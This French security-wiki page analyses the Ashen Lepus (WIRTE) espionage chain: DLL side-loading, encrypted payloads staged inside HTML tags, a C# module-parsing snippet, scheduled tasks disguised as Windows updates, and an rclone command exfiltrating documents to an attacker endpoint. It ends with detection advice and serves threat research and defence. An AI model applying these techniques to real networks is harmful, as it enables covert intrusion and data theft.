Advanced DLL Side-Loading With HTML-Embedded Payload Staging
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Aperçu du tradecraft
Ashen Lepus (aka WIRTE) a industrialisé un schéma répétable qui enchaîne DLL sideloading, staged HTML payloads et backdoors modulaires .NET pour persister au sein de réseaux diplomatiques du Moyen-Orient. La technique est réutilisable par n’importe quel opérateur car elle repose sur :
- Archive-based social engineering : des PDFs apparemment bénins incitent les cibles à télécharger une archive RAR depuis un site de partage de fichiers. L’archive contient un EXE visionneur de documents crédible, une DLL malveillante nommée d’après une bibliothèque de confiance (par ex.
netutils.dll,srvcli.dll,dwampi.dll,wtsapi32.dll) et un leurreDocument.pdf. - DLL search order abuse : la victime double-clique sur l’EXE, Windows résout l’import de la DLL depuis le répertoire courant, et le loader malveillant (AshenLoader) s’exécute dans le processus de confiance pendant que le PDF leurre s’ouvre pour éviter les soupçons.
- Living-off-the-land staging : chaque étape suivante (AshenStager → AshenOrchestrator → modules) reste hors disque jusqu’à ce qu’elle soit nécessaire, livrée sous forme de blobs chiffrés cachés dans des réponses HTML par ailleurs inoffensives.
Multi-Stage Side-Loading Chain
- Decoy EXE → AshenLoader : l’EXE side-load AshenLoader, qui effectue de la reconnaissance hôte, chiffre AES-CTR son contenu, puis le POSTe à l’intérieur de paramètres tournants tels que
token=,id=,q=ouauth=vers des chemins à apparence API (par ex./api/v2/account). - HTML extraction : le C2 ne révèle l’étape suivante que lorsque l’IP client géolocalise dans la région cible et que le
User-Agentcorrespond à l’implant, rendant la tâche difficile pour les sandboxes. Quand les contrôles passent, le corps HTTP contient un blob<headerp>...</headerp>avec le payload AshenStager chiffré en Base64/AES-CTR. - Second sideload : AshenStager est déployé avec un autre binaire légitime qui importe
wtsapi32.dll. La copie malveillante injectée dans le binaire récupère davantage de HTML, cette fois en découpant<article>...</article>pour récupérer AshenOrchestrator. - AshenOrchestrator : un contrôleur modulaire .NET qui décode une config JSON en Base64. Les champs
tgetaudu config sont concaténés/hashés pour former la clé AES qui déchiffrexrk. Les octets résultants servent de clé XOR pour chaque blob de module récupéré ensuite. - Module delivery : chaque module est décrit via des commentaires HTML qui redirigent le parseur vers une balise arbitraire, contournant des règles statiques ne cherchant que
<headerp>ou<article>. Les modules incluent la persistence (PR*), des uninstallers (UN*), de la reconnaissance (SN), la capture d’écran (SCT) et l’exploration de fichiers (FE).
HTML Container Parsing Pattern
var tag = Regex.Match(html, "<!--\s*TAG:\s*<(.*?)>\s*-->").Groups[1].Value;
var base64 = Regex.Match(html, $"<{tag}>(.*?)</{tag}>", RegexOptions.Singleline).Groups[1].Value;
var aesBytes = AesCtrDecrypt(Convert.FromBase64String(base64), key, nonce);
var module = XorBytes(aesBytes, xorKey);
LoadModule(JsonDocument.Parse(Encoding.UTF8.GetString(module)));
Même si les défenseurs bloquent ou suppriment un élément spécifique, l’opérateur n’a qu’à changer la balise indiquée dans le commentaire HTML pour reprendre la livraison.
Crypto & C2 Hardening
- AES-CTR everywhere: les loaders actuels incorporent des clés 256 bits ainsi que des nonces (p. ex.,
{9a 20 51 98 ...}) et ajoutent optionnellement une couche XOR utilisant des chaînes commemsasn1.dllavant/après le déchiffrement. - Recon smuggling: les données énumérées incluent désormais les listings de Program Files pour repérer les applications de grande valeur et sont toujours chiffrées avant de quitter l’hôte.
- URI churn: les paramètres de requête et les chemins REST tournent entre les campagnes (
/api/v1/account?token=→/api/v2/account?auth=), invalidant les détections fragiles. - Gated delivery: les serveurs sont géo-cloisonnés et ne répondent qu’aux implants réels. Les clients non approuvés reçoivent du HTML non suspect.
Persistence & Execution Loop
AshenStager dépose des tâches planifiées qui se font passer pour des tâches de maintenance Windows et s’exécutent via svchost.exe, par ex. :
C:\Windows\System32\Tasks\Windows\WindowsDefenderUpdate\Windows Defender UpdaterC:\Windows\System32\Tasks\Windows\WindowsServicesUpdate\Windows Services UpdaterC:\Windows\System32\Tasks\Automatic Windows Update
Ces tâches relancent la chaîne de sideloading au démarrage ou à intervalles réguliers, garantissant qu’AshenOrchestrator peut demander de nouveaux modules sans toucher de nouveau le disque.
Using Benign Sync Clients for Exfiltration
Les opérateurs placent des documents diplomatiques dans C:\Users\Public (lisible par tous et non suspect) via un module dédié, puis téléchargent le binaire légitime de Rclone pour synchroniser ce répertoire avec le stockage contrôlé par l’attaquant :
- Stage: copier/rassembler les fichiers cibles dans
C:\Users\Public\{campaign}\. - Configure: déployer un fichier de configuration Rclone pointant vers un endpoint HTTPS contrôlé par l’attaquant (p. ex.,
api.technology-system[.]com). - Sync: exécuter
rclone sync "C:\Users\Public\campaign" remote:ingest --transfers 4 --bwlimit 4M --quietafin que le trafic ressemble à des sauvegardes cloud normales.
Parce que Rclone est largement utilisé pour des workflows de sauvegarde légitimes, les défenseurs doivent se concentrer sur les exécutions anormales (nouveaux binaires, remotes suspects, ou synchronisation soudaine de C:\Users\Public).
Detection Pivots
- Alerter sur les processus signés qui chargent de façon inattendue des DLL depuis des chemins modifiables par l’utilisateur (filtres Procmon +
Get-ProcessMitigation -Module), surtout lorsque les noms de DLL se superposent avecnetutils,srvcli,dwampi, ouwtsapi32. - Inspecter les réponses HTTPS suspectes pour des gros blobs Base64 intégrés dans des balises inhabituelles ou protégés par des commentaires
<!-- TAG: <xyz> -->. - Rechercher des tâches planifiées qui exécutent
svchost.exeavec des arguments non liés aux services ou qui renvoient aux répertoires du dropper. - Surveiller l’apparition de binaires Rclone en dehors des emplacements gérés par l’IT, de nouveaux fichiers
rclone.conf, ou de tâches de synchronisation qui tirent depuis des répertoires de staging commeC:\Users\Public.
References
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

